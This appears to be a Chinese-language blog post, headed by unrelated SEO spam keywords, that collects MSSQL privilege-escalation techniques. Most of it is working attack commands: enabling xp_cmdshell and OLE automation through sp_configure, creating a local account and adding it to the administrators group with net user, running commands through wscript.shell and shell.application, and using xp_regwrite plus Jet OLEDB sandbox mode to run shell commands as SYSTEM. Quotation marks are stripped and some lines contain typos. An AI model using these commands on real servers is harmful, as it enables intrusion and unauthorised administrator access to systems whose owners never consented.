fifa17做任务网站,企业网站怎么建站,手机网站 数据库,泉州百度首页优化之前对MSSQL提权了解较少#xff0c;所以在这里记录一些关于这类提权的几种姿势
1.xp_cmdshell提权
存储过程为数据库提供了强大的功能#xff0c;其类似UDF#xff0c;在MSSQL中xp_cmdshell可谓臭名昭著了。MSSQL强大的存储过程也为黑客提供了遍历#xff0c;在相应的权…之前对MSSQL提权了解较少所以在这里记录一些关于这类提权的几种姿势
1.xp_cmdshell提权
存储过程为数据库提供了强大的功能其类似UDF在MSSQL中xp_cmdshell可谓臭名昭著了。MSSQL强大的存储过程也为黑客提供了遍历在相应的权限下攻击者可以利用不同的存储过程执行不同的高级功能如增加MSSQL数据库用户枚举文件目录等等。而这些系统存储过程中要数xp_cmdshell最强大通过该存储过程可以在数据库服务器中执行任意系统命令。MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
前提是必须获取SA用户的密码SA用户具有最高权限
在连接成功后在sql命令处执行
exec xp_cmdshell net user aaa aaa /add net localgroup administrators aaa /add就能成功的创建一个账户aaa并且加到管理员组
如果执行sql语句不成功首先检查判断xp_cmdshell是否存在
select count(*)from master.dbo.sysobjects where xtype x and name xp_cmdshell ;返回1是存在的
xp_cmdshell默认在mssql2000中是开启的在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。
开启xp_cmdshell
EXEC sp_configure show advanced options,1//允许修改高级参数
RECONFIGURE
EXEC sp_configure xp_cmdshell,1 //打开xp_cmdshell扩展
RECONFIGURE关闭xp_cmdshell
exec sp_configure show advanced options, 1;reconfigure;
exec sp_configure xp_cmdshell, 0;reconfigure提权
exec master..xp_cmdshell net user test pinohd123. /add 添加用户test密码test
exec master..xp_cmdshell net localgroup administrators test add 添加test用户到管理员组2.sp_oacreate提权
xp_cmdshell被删除的时候考虑使用sp_oacreate
开启
exec sp_configure show advanced options,1;reconfigure;
exec sp_configure ole automation procedures,1;recofigure;关闭
exec sp_configure show advanced options,1;reconfigure;
exec sp_configure ole automation procedures,0;reconfigure;
exec sp_configure show advanced options,0;reconfigure;提权
declare shell int
exec sp_oacreate wscript.shell, shell out
exec sp_method shell, run , null, c:\windows\system32\cmd.exe \c net user test test /add declare shell int
exec sp_oacreate shell.application,shell out
exec sp_oamethod shell, shellexecute, null, cmd.exe, cmd /c net user test test /add, c:\windows\system32, ,1;3.沙盒提权
什么是沙盒模式?
沙盒模式是数据库的一种安全功能.在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值.如果表达式不使用可能以某种方式损坏数据的函数或属性则可认为它是安全的.
利用条件
1Access可以调用VBS的函数以System权限执行任意命令 2Access执行这个命令是有条件的需要一个开关被打开 3这个开关在注册表里 4SA是有权限写注册表的 5用SA写注册表的权限打开那个开关 6调用Access里的执行命令方法以system权限执行任意命令执行SQL命令执行了以下命令
开启默认关闭的xp_regwrite存储过程
exec master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Jet\4.0\Engines,SandBoxMode,REG_DWORD,1利用jet.oledb执行系统命令添加系统账号
select * from openrowset(microsoft.jet.oledb.4.0,;databasec:\windows\system32\ias\dnary.mdb,select shell(whoami))openrowset是可以通过OLE DB访问SQL Server数据库OLE DB是应用程序链接到SQL Server的的驱动程序。